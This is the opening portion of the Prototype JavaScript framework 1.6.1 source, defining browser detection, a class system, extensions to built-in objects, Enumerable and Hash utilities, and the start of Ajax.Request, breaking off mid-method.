/*  Prototype JavaScript framework, version 1.6.1
 *  (c) 2005-2009 Sam Stephenson
 *
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://www.prototypejs.org/
 *
 *--------------------------------------------------------------------------*/

var Prototype = {
  Version: '1.6.1',

  Browser: (function(){
    var ua = navigator.userAgent;
    var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';
    return {
      IE:             !!window.attachEvent && !isOpera,
      Opera:          isOpera,
      WebKit:         ua.indexOf('AppleWebKit/') > -1,
      Gecko:          ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,
      MobileSafari:   /Apple.*Mobile.*Safari/.test(ua)
    }
  })(),

  BrowserFeatures: {
    XPath: !!document.evaluate,
    SelectorsAPI: !!document.querySelector,
    ElementExtensions: (function() {
      var constructor = window.Element || window.HTMLElement;
      return !!(constructor && constructor.prototype);
    })(),
    SpecificElementExtensions: (function() {
      if (typeof window.HTMLDivElement !== 'undefined')
        return true;

      var div = document.createElement('div');
      var form = document.createElement('form');
      var isSupported = false;

      if (div['__proto__'] && (div['__proto__'] !== form['__proto__'])) {
        isSupported = true;
      }

      div = form = null;

      return isSupported;
    })()
  },

  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,

  emptyFunction: function() { },
  K: function(x) { return x }
};

if (Prototype.Browser.MobileSafari)
  Prototype.BrowserFeatures.SpecificElementExtensions = false;


var Abstract = { };


var Try = {
  these: function() {
    var returnValue;

    for (var i = 0, length = arguments.length; i < length; i++) {
      var lambda = arguments[i];
      try {
        returnValue = lambda();
        break;
      } catch (e) { }
    }

    return returnValue;
  }
};

/* Based on Alex Arnell's inheritance implementation. */

var Class = (function() {
  function subclass() {};
  function create() {
    var parent = null, properties = $A(arguments);
    if (Object.isFunction(properties[0]))
      parent = properties.shift();

    function klass() {
      this.initialize.apply(this, arguments);
    }

    Object.extend(klass, Class.Methods);
    klass.superclass = parent;
    klass.subclasses = [];

    if (parent) {
      subclass.prototype = parent.prototype;
      klass.prototype = new subclass;
      parent.subclasses.push(klass);
    }

    for (var i = 0; i < properties.length; i++)
      klass.addMethods(properties[i]);

    if (!klass.prototype.initialize)
      klass.prototype.initialize = Prototype.emptyFunction;

    klass.prototype.constructor = klass;
    return klass;
  }

  function addMethods(source) {
    var ancestor   = this.superclass && this.superclass.prototype;
    var properties = Object.keys(source);

    if (!Object.keys({ toString: true }).length) {
      if (source.toString != Object.prototype.toString)
        properties.push("toString");
      if (source.valueOf != Object.prototype.valueOf)
        properties.push("valueOf");
    }

    for (var i = 0, length = properties.length; i < length; i++) {
      var property = properties[i], value = source[property];
      if (ancestor && Object.isFunction(value) &&
          value.argumentNames().first() == "$super") {
        var method = value;
        value = (function(m) {
          return function() { return ancestor[m].apply(this, arguments); };
        })(property).wrap(method);

        value.valueOf = method.valueOf.bind(method);
        value.toString = method.toString.bind(method);
      }
      this.prototype[property] = value;
    }

    return this;
  }

  return {
    create: create,
    Methods: {
      addMethods: addMethods
    }
  };
})();
(function() {

  var _toString = Object.prototype.toString;

  function extend(destination, source) {
    for (var property in source)
      destination[property] = source[property];
    return destination;
  }

  function inspect(object) {
    try {
      if (isUndefined(object)) return 'undefined';
      if (object === null) return 'null';
      return object.inspect ? object.inspect() : String(object);
    } catch (e) {
      if (e instanceof RangeError) return '...';
      throw e;
    }
  }

  function toJSON(object) {
    var type = typeof object;
    switch (type) {
      case 'undefined':
      case 'function':
      case 'unknown': return;
      case 'boolean': return object.toString();
    }

    if (object === null) return 'null';
    if (object.toJSON) return object.toJSON();
    if (isElement(object)) return;

    var results = [];
    for (var property in object) {
      var value = toJSON(object[property]);
      if (!isUndefined(value))
        results.push(property.toJSON() + ': ' + value);
    }

    return '{' + results.join(', ') + '}';
  }

  function toQueryString(object) {
    return $H(object).toQueryString();
  }

  function toHTML(object) {
    return object && object.toHTML ? object.toHTML() : String.interpret(object);
  }

  function keys(object) {
    var results = [];
    for (var property in object)
      results.push(property);
    return results;
  }

  function values(object) {
    var results = [];
    for (var property in object)
      results.push(object[property]);
    return results;
  }

  function clone(object) {
    return extend({ }, object);
  }

  function isElement(object) {
    return !!(object && object.nodeType == 1);
  }

  function isArray(object) {
    return _toString.call(object) == "[object Array]";
  }


  function isHash(object) {
    return object instanceof Hash;
  }

  function isFunction(object) {
    return typeof object === "function";
  }

  function isString(object) {
    return _toString.call(object) == "[object String]";
  }

  function isNumber(object) {
    return _toString.call(object) == "[object Number]";
  }

  function isUndefined(object) {
    return typeof object === "undefined";
  }

  extend(Object, {
    extend:        extend,
    inspect:       inspect,
    toJSON:        toJSON,
    toQueryString: toQueryString,
    toHTML:        toHTML,
    keys:          keys,
    values:        values,
    clone:         clone,
    isElement:     isElement,
    isArray:       isArray,
    isHash:        isHash,
    isFunction:    isFunction,
    isString:      isString,
    isNumber:      isNumber,
    isUndefined:   isUndefined
  });
})();
Object.extend(Function.prototype, (function() {
  var slice = Array.prototype.slice;

  function update(array, args) {
    var arrayLength = array.length, length = args.length;
    while (length--) array[arrayLength + length] = args[length];
    return array;
  }

  function merge(array, args) {
    array = slice.call(array, 0);
    return update(array, args);
  }

  function argumentNames() {
    var names = this.toString().match(/^[\s\(]*function[^(]*\(([^)]*)\)/)[1]
      .replace(/\/\/.*?[\r\n]|\/\*(?:.|[\r\n])*?\*\//g, '')
      .replace(/\s+/g, '').split(',');
    return names.length == 1 && !names[0] ? [] : names;
  }

  function bind(context) {
    if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this;
    var __method = this, args = slice.call(arguments, 1);
    return function() {
      var a = merge(args, arguments);
      return __method.apply(context, a);
    }
  }

  function bindAsEventListener(context) {
    var __method = this, args = slice.call(arguments, 1);
    return function(event) {
      var a = update([event || window.event], args);
      return __method.apply(context, a);
    }
  }

  function curry() {
    if (!arguments.length) return this;
    var __method = this, args = slice.call(arguments, 0);
    return function() {
      var a = merge(args, arguments);
      return __method.apply(this, a);
    }
  }

  function delay(timeout) {
    var __method = this, args = slice.call(arguments, 1);
    timeout = timeout * 1000
    return window.setTimeout(function() {
      return __method.apply(__method, args);
    }, timeout);
  }

  function defer() {
    var args = update([0.01], arguments);
    return this.delay.apply(this, args);
  }

  function wrap(wrapper) {
    var __method = this;
    return function() {
      var a = update([__method.bind(this)], arguments);
      return wrapper.apply(this, a);
    }
  }

  function methodize() {
    if (this._methodized) return this._methodized;
    var __method = this;
    return this._methodized = function() {
      var a = update([this], arguments);
      return __method.apply(null, a);
    };
  }

  return {
    argumentNames:       argumentNames,
    bind:                bind,
    bindAsEventListener: bindAsEventListener,
    curry:               curry,
    delay:               delay,
    defer:               defer,
    wrap:                wrap,
    methodize:           methodize
  }
})());


Date.prototype.toJSON = function() {
  return '"' + this.getUTCFullYear() + '-' +
    (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
    this.getUTCDate().toPaddedString(2) + 'T' +
    this.getUTCHours().toPaddedString(2) + ':' +
    this.getUTCMinutes().toPaddedString(2) + ':' +
    this.getUTCSeconds().toPaddedString(2) + 'Z"';
};


RegExp.prototype.match = RegExp.prototype.test;

RegExp.escape = function(str) {
  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
};
var PeriodicalExecuter = Class.create({
  initialize: function(callback, frequency) {
    this.callback = callback;
    this.frequency = frequency;
    this.currentlyExecuting = false;

    this.registerCallback();
  },

  registerCallback: function() {
    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
  },

  execute: function() {
    this.callback(this);
  },

  stop: function() {
    if (!this.timer) return;
    clearInterval(this.timer);
    this.timer = null;
  },

  onTimerEvent: function() {
    if (!this.currentlyExecuting) {
      try {
        this.currentlyExecuting = true;
        this.execute();
        this.currentlyExecuting = false;
      } catch(e) {
        this.currentlyExecuting = false;
        throw e;
      }
    }
  }
});
Object.extend(String, {
  interpret: function(value) {
    return value == null ? '' : String(value);
  },
  specialChar: {
    '\b': '\\b',
    '\t': '\\t',
    '\n': '\\n',
    '\f': '\\f',
    '\r': '\\r',
    '\\': '\\\\'
  }
});

Object.extend(String.prototype, (function() {

  function prepareReplacement(replacement) {
    if (Object.isFunction(replacement)) return replacement;
    var template = new Template(replacement);
    return function(match) { return template.evaluate(match) };
  }

  function gsub(pattern, replacement) {
    var result = '', source = this, match;
    replacement = prepareReplacement(replacement);

    if (Object.isString(pattern))
      pattern = RegExp.escape(pattern);

    if (!(pattern.length || pattern.source)) {
      replacement = replacement('');
      return replacement + source.split('').join(replacement) + replacement;
    }

    while (source.length > 0) {
      if (match = source.match(pattern)) {
        result += source.slice(0, match.index);
        result += String.interpret(replacement(match));
        source  = source.slice(match.index + match[0].length);
      } else {
        result += source, source = '';
      }
    }
    return result;
  }

  function sub(pattern, replacement, count) {
    replacement = prepareReplacement(replacement);
    count = Object.isUndefined(count) ? 1 : count;

    return this.gsub(pattern, function(match) {
      if (--count < 0) return match[0];
      return replacement(match);
    });
  }

  function scan(pattern, iterator) {
    this.gsub(pattern, iterator);
    return String(this);
  }

  function truncate(length, truncation) {
    length = length || 30;
    truncation = Object.isUndefined(truncation) ? '...' : truncation;
    return this.length > length ?
      this.slice(0, length - truncation.length) + truncation : String(this);
  }

  function strip() {
    return this.replace(/^\s+/, '').replace(/\s+$/, '');
  }

  function stripTags() {
    return this.replace(/<\w+(\s+("[^"]*"|'[^']*'|[^>])+)?>|<\/\w+>/gi, '');
  }

  function stripScripts() {
    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
  }

  function extractScripts() {
    var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
    var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
    return (this.match(matchAll) || []).map(function(scriptTag) {
      return (scriptTag.match(matchOne) || ['', ''])[1];
    });
  }

  function evalScripts() {
    return this.extractScripts().map(function(script) { return eval(script) });
  }

  function escapeHTML() {
    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
  }

  function unescapeHTML() {
    return this.stripTags().replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&amp;/g,'&');
  }


  function toQueryParams(separator) {
    var match = this.strip().match(/([^?#]*)(#.*)?$/);
    if (!match) return { };

    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
      if ((pair = pair.split('='))[0]) {
        var key = decodeURIComponent(pair.shift());
        var value = pair.length > 1 ? pair.join('=') : pair[0];
        if (value != undefined) value = decodeURIComponent(value);

        if (key in hash) {
          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
          hash[key].push(value);
        }
        else hash[key] = value;
      }
      return hash;
    });
  }

  function toArray() {
    return this.split('');
  }

  function succ() {
    return this.slice(0, this.length - 1) +
      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
  }

  function times(count) {
    return count < 1 ? '' : new Array(count + 1).join(this);
  }

  function camelize() {
    var parts = this.split('-'), len = parts.length;
    if (len == 1) return parts[0];

    var camelized = this.charAt(0) == '-'
      ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
      : parts[0];

    for (var i = 1; i < len; i++)
      camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);

    return camelized;
  }

  function capitalize() {
    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
  }

  function underscore() {
    return this.replace(/::/g, '/')
               .replace(/([A-Z]+)([A-Z][a-z])/g, '$1_$2')
               .replace(/([a-z\d])([A-Z])/g, '$1_$2')
               .replace(/-/g, '_')
               .toLowerCase();
  }

  function dasherize() {
    return this.replace(/_/g, '-');
  }

  function inspect(useDoubleQuotes) {
    var escapedString = this.replace(/[\x00-\x1f\\]/g, function(character) {
      if (character in String.specialChar) {
        return String.specialChar[character];
      }
      return '\\u00' + character.charCodeAt().toPaddedString(2, 16);
    });
    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
  }

  function toJSON() {
    return this.inspect(true);
  }

  function unfilterJSON(filter) {
    return this.replace(filter || Prototype.JSONFilter, '$1');
  }

  function isJSON() {
    var str = this;
    if (str.blank()) return false;
    str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
    return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
  }

  function evalJSON(sanitize) {
    var json = this.unfilterJSON();
    try {
      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
    } catch (e) { }
    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
  }

  function include(pattern) {
    return this.indexOf(pattern) > -1;
  }

  function startsWith(pattern) {
    return this.indexOf(pattern) === 0;
  }

  function endsWith(pattern) {
    var d = this.length - pattern.length;
    return d >= 0 && this.lastIndexOf(pattern) === d;
  }

  function empty() {
    return this == '';
  }

  function blank() {
    return /^\s*$/.test(this);
  }

  function interpolate(object, pattern) {
    return new Template(this, pattern).evaluate(object);
  }

  return {
    gsub:           gsub,
    sub:            sub,
    scan:           scan,
    truncate:       truncate,
    strip:          String.prototype.trim ? String.prototype.trim : strip,
    stripTags:      stripTags,
    stripScripts:   stripScripts,
    extractScripts: extractScripts,
    evalScripts:    evalScripts,
    escapeHTML:     escapeHTML,
    unescapeHTML:   unescapeHTML,
    toQueryParams:  toQueryParams,
    parseQuery:     toQueryParams,
    toArray:        toArray,
    succ:           succ,
    times:          times,
    camelize:       camelize,
    capitalize:     capitalize,
    underscore:     underscore,
    dasherize:      dasherize,
    inspect:        inspect,
    toJSON:         toJSON,
    unfilterJSON:   unfilterJSON,
    isJSON:         isJSON,
    evalJSON:       evalJSON,
    include:        include,
    startsWith:     startsWith,
    endsWith:       endsWith,
    empty:          empty,
    blank:          blank,
    interpolate:    interpolate
  };
})());

var Template = Class.create({
  initialize: function(template, pattern) {
    this.template = template.toString();
    this.pattern = pattern || Template.Pattern;
  },

  evaluate: function(object) {
    if (object && Object.isFunction(object.toTemplateReplacements))
      object = object.toTemplateReplacements();

    return this.template.gsub(this.pattern, function(match) {
      if (object == null) return (match[1] + '');

      var before = match[1] || '';
      if (before == '\\') return match[2];

      var ctx = object, expr = match[3];
      var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;
      match = pattern.exec(expr);
      if (match == null) return before;

      while (match != null) {
        var comp = match[1].startsWith('[') ? match[2].replace(/\\\\]/g, ']') : match[1];
        ctx = ctx[comp];
        if (null == ctx || '' == match[3]) break;
        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
        match = pattern.exec(expr);
      }

      return before + String.interpret(ctx);
    });
  }
});
Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;

var $break = { };

var Enumerable = (function() {
  function each(iterator, context) {
    var index = 0;
    try {
      this._each(function(value) {
        iterator.call(context, value, index++);
      });
    } catch (e) {
      if (e != $break) throw e;
    }
    return this;
  }

  function eachSlice(number, iterator, context) {
    var index = -number, slices = [], array = this.toArray();
    if (number < 1) return array;
    while ((index += number) < array.length)
      slices.push(array.slice(index, index+number));
    return slices.collect(iterator, context);
  }

  function all(iterator, context) {
    iterator = iterator || Prototype.K;
    var result = true;
    this.each(function(value, index) {
      result = result && !!iterator.call(context, value, index);
      if (!result) throw $break;
    });
    return result;
  }

  function any(iterator, context) {
    iterator = iterator || Prototype.K;
    var result = false;
    this.each(function(value, index) {
      if (result = !!iterator.call(context, value, index))
        throw $break;
    });
    return result;
  }

  function collect(iterator, context) {
    iterator = iterator || Prototype.K;
    var results = [];
    this.each(function(value, index) {
      results.push(iterator.call(context, value, index));
    });
    return results;
  }

  function detect(iterator, context) {
    var result;
    this.each(function(value, index) {
      if (iterator.call(context, value, index)) {
        result = value;
        throw $break;
      }
    });
    return result;
  }

  function findAll(iterator, context) {
    var results = [];
    this.each(function(value, index) {
      if (iterator.call(context, value, index))
        results.push(value);
    });
    return results;
  }

  function grep(filter, iterator, context) {
    iterator = iterator || Prototype.K;
    var results = [];

    if (Object.isString(filter))
      filter = new RegExp(RegExp.escape(filter));

    this.each(function(value, index) {
      if (filter.match(value))
        results.push(iterator.call(context, value, index));
    });
    return results;
  }

  function include(object) {
    if (Object.isFunction(this.indexOf))
      if (this.indexOf(object) != -1) return true;

    var found = false;
    this.each(function(value) {
      if (value == object) {
        found = true;
        throw $break;
      }
    });
    return found;
  }

  function inGroupsOf(number, fillWith) {
    fillWith = Object.isUndefined(fillWith) ? null : fillWith;
    return this.eachSlice(number, function(slice) {
      while(slice.length < number) slice.push(fillWith);
      return slice;
    });
  }

  function inject(memo, iterator, context) {
    this.each(function(value, index) {
      memo = iterator.call(context, memo, value, index);
    });
    return memo;
  }

  function invoke(method) {
    var args = $A(arguments).slice(1);
    return this.map(function(value) {
      return value[method].apply(value, args);
    });
  }

  function max(iterator, context) {
    iterator = iterator || Prototype.K;
    var result;
    this.each(function(value, index) {
      value = iterator.call(context, value, index);
      if (result == null || value >= result)
        result = value;
    });
    return result;
  }

  function min(iterator, context) {
    iterator = iterator || Prototype.K;
    var result;
    this.each(function(value, index) {
      value = iterator.call(context, value, index);
      if (result == null || value < result)
        result = value;
    });
    return result;
  }

  function partition(iterator, context) {
    iterator = iterator || Prototype.K;
    var trues = [], falses = [];
    this.each(function(value, index) {
      (iterator.call(context, value, index) ?
        trues : falses).push(value);
    });
    return [trues, falses];
  }

  function pluck(property) {
    var results = [];
    this.each(function(value) {
      results.push(value[property]);
    });
    return results;
  }

  function reject(iterator, context) {
    var results = [];
    this.each(function(value, index) {
      if (!iterator.call(context, value, index))
        results.push(value);
    });
    return results;
  }

  function sortBy(iterator, context) {
    return this.map(function(value, index) {
      return {
        value: value,
        criteria: iterator.call(context, value, index)
      };
    }).sort(function(left, right) {
      var a = left.criteria, b = right.criteria;
      return a < b ? -1 : a > b ? 1 : 0;
    }).pluck('value');
  }

  function toArray() {
    return this.map();
  }

  function zip() {
    var iterator = Prototype.K, args = $A(arguments);
    if (Object.isFunction(args.last()))
      iterator = args.pop();

    var collections = [this].concat(args).map($A);
    return this.map(function(value, index) {
      return iterator(collections.pluck(index));
    });
  }

  function size() {
    return this.toArray().length;
  }

  function inspect() {
    return '#<Enumerable:' + this.toArray().inspect() + '>';
  }









  return {
    each:       each,
    eachSlice:  eachSlice,
    all:        all,
    every:      all,
    any:        any,
    some:       any,
    collect:    collect,
    map:        collect,
    detect:     detect,
    findAll:    findAll,
    select:     findAll,
    filter:     findAll,
    grep:       grep,
    include:    include,
    member:     include,
    inGroupsOf: inGroupsOf,
    inject:     inject,
    invoke:     invoke,
    max:        max,
    min:        min,
    partition:  partition,
    pluck:      pluck,
    reject:     reject,
    sortBy:     sortBy,
    toArray:    toArray,
    entries:    toArray,
    zip:        zip,
    size:       size,
    inspect:    inspect,
    find:       detect
  };
})();
function $A(iterable) {
  if (!iterable) return [];
  if ('toArray' in Object(iterable)) return iterable.toArray();
  var length = iterable.length || 0, results = new Array(length);
  while (length--) results[length] = iterable[length];
  return results;
}

function $w(string) {
  if (!Object.isString(string)) return [];
  string = string.strip();
  return string ? string.split(/\s+/) : [];
}

Array.from = $A;


(function() {
  var arrayProto = Array.prototype,
      slice = arrayProto.slice,
      _each = arrayProto.forEach; // use native browser JS 1.6 implementation if available

  function each(iterator) {
    for (var i = 0, length = this.length; i < length; i++)
      iterator(this[i]);
  }
  if (!_each) _each = each;

  function clear() {
    this.length = 0;
    return this;
  }

  function first() {
    return this[0];
  }

  function last() {
    return this[this.length - 1];
  }

  function compact() {
    return this.select(function(value) {
      return value != null;
    });
  }

  function flatten() {
    return this.inject([], function(array, value) {
      if (Object.isArray(value))
        return array.concat(value.flatten());
      array.push(value);
      return array;
    });
  }

  function without() {
    var values = slice.call(arguments, 0);
    return this.select(function(value) {
      return !values.include(value);
    });
  }

  function reverse(inline) {
    return (inline !== false ? this : this.toArray())._reverse();
  }

  function uniq(sorted) {
    return this.inject([], function(array, value, index) {
      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
        array.push(value);
      return array;
    });
  }

  function intersect(array) {
    return this.uniq().findAll(function(item) {
      return array.detect(function(value) { return item === value });
    });
  }


  function clone() {
    return slice.call(this, 0);
  }

  function size() {
    return this.length;
  }

  function inspect() {
    return '[' + this.map(Object.inspect).join(', ') + ']';
  }

  function toJSON() {
    var results = [];
    this.each(function(object) {
      var value = Object.toJSON(object);
      if (!Object.isUndefined(value)) results.push(value);
    });
    return '[' + results.join(', ') + ']';
  }

  function indexOf(item, i) {
    i || (i = 0);
    var length = this.length;
    if (i < 0) i = length + i;
    for (; i < length; i++)
      if (this[i] === item) return i;
    return -1;
  }

  function lastIndexOf(item, i) {
    i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
    var n = this.slice(0, i).reverse().indexOf(item);
    return (n < 0) ? n : i - n - 1;
  }

  function concat() {
    var array = slice.call(this, 0), item;
    for (var i = 0, length = arguments.length; i < length; i++) {
      item = arguments[i];
      if (Object.isArray(item) && !('callee' in item)) {
        for (var j = 0, arrayLength = item.length; j < arrayLength; j++)
          array.push(item[j]);
      } else {
        array.push(item);
      }
    }
    return array;
  }

  Object.extend(arrayProto, Enumerable);

  if (!arrayProto._reverse)
    arrayProto._reverse = arrayProto.reverse;

  Object.extend(arrayProto, {
    _each:     _each,
    clear:     clear,
    first:     first,
    last:      last,
    compact:   compact,
    flatten:   flatten,
    without:   without,
    reverse:   reverse,
    uniq:      uniq,
    intersect: intersect,
    clone:     clone,
    toArray:   clone,
    size:      size,
    inspect:   inspect,
    toJSON:    toJSON
  });

  var CONCAT_ARGUMENTS_BUGGY = (function() {
    return [].concat(arguments)[0][0] !== 1;
  })(1,2)

  if (CONCAT_ARGUMENTS_BUGGY) arrayProto.concat = concat;

  if (!arrayProto.indexOf) arrayProto.indexOf = indexOf;
  if (!arrayProto.lastIndexOf) arrayProto.lastIndexOf = lastIndexOf;
})();
function $H(object) {
  return new Hash(object);
};

var Hash = Class.create(Enumerable, (function() {
  function initialize(object) {
    this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
  }

  function _each(iterator) {
    for (var key in this._object) {
      var value = this._object[key], pair = [key, value];
      pair.key = key;
      pair.value = value;
      iterator(pair);
    }
  }

  function set(key, value) {
    return this._object[key] = value;
  }

  function get(key) {
    if (this._object[key] !== Object.prototype[key])
      return this._object[key];
  }

  function unset(key) {
    var value = this._object[key];
    delete this._object[key];
    return value;
  }

  function toObject() {
    return Object.clone(this._object);
  }

  function keys() {
    return this.pluck('key');
  }

  function values() {
    return this.pluck('value');
  }

  function index(value) {
    var match = this.detect(function(pair) {
      return pair.value === value;
    });
    return match && match.key;
  }

  function merge(object) {
    return this.clone().update(object);
  }

  function update(object) {
    return new Hash(object).inject(this, function(result, pair) {
      result.set(pair.key, pair.value);
      return result;
    });
  }

  function toQueryPair(key, value) {
    if (Object.isUndefined(value)) return key;
    return key + '=' + encodeURIComponent(String.interpret(value));
  }

  function toQueryString() {
    return this.inject([], function(results, pair) {
      var key = encodeURIComponent(pair.key), values = pair.value;

      if (values && typeof values == 'object') {
        if (Object.isArray(values))
          return results.concat(values.map(toQueryPair.curry(key)));
      } else results.push(toQueryPair(key, values));
      return results;
    }).join('&');
  }

  function inspect() {
    return '#<Hash:{' + this.map(function(pair) {
      return pair.map(Object.inspect).join(': ');
    }).join(', ') + '}>';
  }

  function toJSON() {
    return Object.toJSON(this.toObject());
  }

  function clone() {
    return new Hash(this);
  }

  return {
    initialize:             initialize,
    _each:                  _each,
    set:                    set,
    get:                    get,
    unset:                  unset,
    toObject:               toObject,
    toTemplateReplacements: toObject,
    keys:                   keys,
    values:                 values,
    index:                  index,
    merge:                  merge,
    update:                 update,
    toQueryString:          toQueryString,
    inspect:                inspect,
    toJSON:                 toJSON,
    clone:                  clone
  };
})());

Hash.from = $H;
Object.extend(Number.prototype, (function() {
  function toColorPart() {
    return this.toPaddedString(2, 16);
  }

  function succ() {
    return this + 1;
  }

  function times(iterator, context) {
    $R(0, this, true).each(iterator, context);
    return this;
  }

  function toPaddedString(length, radix) {
    var string = this.toString(radix || 10);
    return '0'.times(length - string.length) + string;
  }

  function toJSON() {
    return isFinite(this) ? this.toString() : 'null';
  }

  function abs() {
    return Math.abs(this);
  }

  function round() {
    return Math.round(this);
  }

  function ceil() {
    return Math.ceil(this);
  }

  function floor() {
    return Math.floor(this);
  }

  return {
    toColorPart:    toColorPart,
    succ:           succ,
    times:          times,
    toPaddedString: toPaddedString,
    toJSON:         toJSON,
    abs:            abs,
    round:          round,
    ceil:           ceil,
    floor:          floor
  };
})());

function $R(start, end, exclusive) {
  return new ObjectRange(start, end, exclusive);
}

var ObjectRange = Class.create(Enumerable, (function() {
  function initialize(start, end, exclusive) {
    this.start = start;
    this.end = end;
    this.exclusive = exclusive;
  }

  function _each(iterator) {
    var value = this.start;
    while (this.include(value)) {
      iterator(value);
      value = value.succ();
    }
  }

  function include(value) {
    if (value < this.start)
      return false;
    if (this.exclusive)
      return value < this.end;
    return value <= this.end;
  }

  return {
    initialize: initialize,
    _each:      _each,
    include:    include
  };
})());



var Ajax = {
  getTransport: function() {
    return Try.these(
      function() {return new XMLHttpRequest()},
      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
    ) || false;
  },

  activeRequestCount: 0
};

Ajax.Responders = {
  responders: [],

  _each: function(iterator) {
    this.responders._each(iterator);
  },

  register: function(responder) {
    if (!this.include(responder))
      this.responders.push(responder);
  },

  unregister: function(responder) {
    this.responders = this.responders.without(responder);
  },

  dispatch: function(callback, request, transport, json) {
    this.each(function(responder) {
      if (Object.isFunction(responder[callback])) {
        try {
          responder[callback].apply(responder, [request, transport, json]);
        } catch (e) { }
      }
    });
  }
};

Object.extend(Ajax.Responders, Enumerable);

Ajax.Responders.register({
  onCreate:   function() { Ajax.activeRequestCount++ },
  onComplete: function() { Ajax.activeRequestCount-- }
});
Ajax.Base = Class.create({
  initialize: function(options) {
    this.options = {
      method:       'post',
      asynchronous: true,
      contentType:  'application/x-www-form-urlencoded',
      encoding:     'UTF-8',
      parameters:   '',
      evalJSON:     true,
      evalJS:       true
    };
    Object.extend(this.options, options || { });

    this.options.method = this.options.method.toLowerCase();

    if (Object.isString(this.options.parameters))
      this.options.parameters = this.options.parameters.toQueryParams();
    else if (Object.isHash(this.options.parameters))
      this.options.parameters = this.options.parameters.toObject();
  }
});
Ajax.Request = Class.create(Ajax.Base, {
  _complete: false,

  initialize: function($super, url, options) {
    $super(options);
    this.transport = Ajax.getTransport();
    this.request(url);
  },

  request: function(url) {
    this.url = url;
    this.method = this.options.method;
    var params = Object.clone(this.options.parameters);

    if (!['get', 'post'].include(this.method)) {
      params['_method'] = this.method;
      this.method = 'post';
    }

    this.parameters = params;

    if (params = Object.toQueryString(params)) {
      if (this.method == 'get')
        this.url += (this.url.include('?') ? '&' : '?') + params;
      else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
        params += '&_=';
    }

    try {
      var response = new Ajax.Response(this);
      if (this.options.onCreate) this.options.onCreate(response);
      Ajax.Responders.dispatch('onCreate', this, response);

      this.transport.open(this.method.toUpperCase(), this.url,
        this.options.asynchronous);

      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);

      this.transport.onreadystatechange = this.onStateChange.bind(this);
      this.setRequestHeaders();

      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
      this.transport.send(this.body);

      /* Force Firefox to handle ready state 4 for synchronous requests */
      if (!this.options.asynchronous && this.transport.overrideMimeType)
        this.onStateChange();

    }
    catch (e) {
      this.dispatchException(e);
    }
  },

  onStateChange: function() {
    var readyState = this.transport.readyState;
    if (readyState > 1 && !((readyState == 4) && this._complete))
      this.respondToReadyState(this.transport.readyState);
  },

  setRequestHeaders: function() {
    var headers = {
      'X-Requested-With': 'XMLHttpRequest',
      'X-Prototype-Version': Prototype.Version,
      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
    };

    if (this.method == 'post') {
      headers['Content-type'] = this.options.contentType +
        (this.options.encoding ? '; charset=' + this.options.encoding : '');

      /* Force "Connection: close" for older Mozilla browsers to work
       * around a bug where XMLHttpRequest sends an incorrect
       * Content-length header. See Mozilla Bugzilla #246651.
       */
      if (this.transport.overrideMimeType &&
          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
            headers['Connection'] = 'close';
    }

    if (typeof this.options.requestHeaders == 'object') {
      var extras = this.options.requestHeaders;

      if (Object.isFunction(extras.push))
        for (var i = 0, length = extras.length; i < length; i += 2)
          headers[extras[i]] = extras[i+1];
      else
        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
    }

    for (var name in headers)
      this.transport.setRequestHeader(name, headers[name]);
  },

  success: function() {
    var status = this.getStatus();
    return !status || (status >= 200 && status < 300);
  },

  getStatus: function() {
    try {
      return this.transport.status || 0;
    } catch (e) { return 0 }
  },

  respondToReadyState: function(readyState) {
    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);

    if (state == 'Complete') {
      try {
        this._complete = true;
        (this.options['on' + response.status]
         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
         || Prototype.emptyFunction)(response, response.headerJSON);
      } catch (e) {
        this.dispatchException(e);
      }

      var contentType = response.getHeader('Content-type');
      if (this.options.evalJS == 'force'
          || (this.options.evalJS && this.isSameOrigin() && contentType
          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
        this.evalResponse();
    }

    try {
      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
    } catch (e) {
      this.dispatchException(e);
    }

    if (state == 'Complete') {
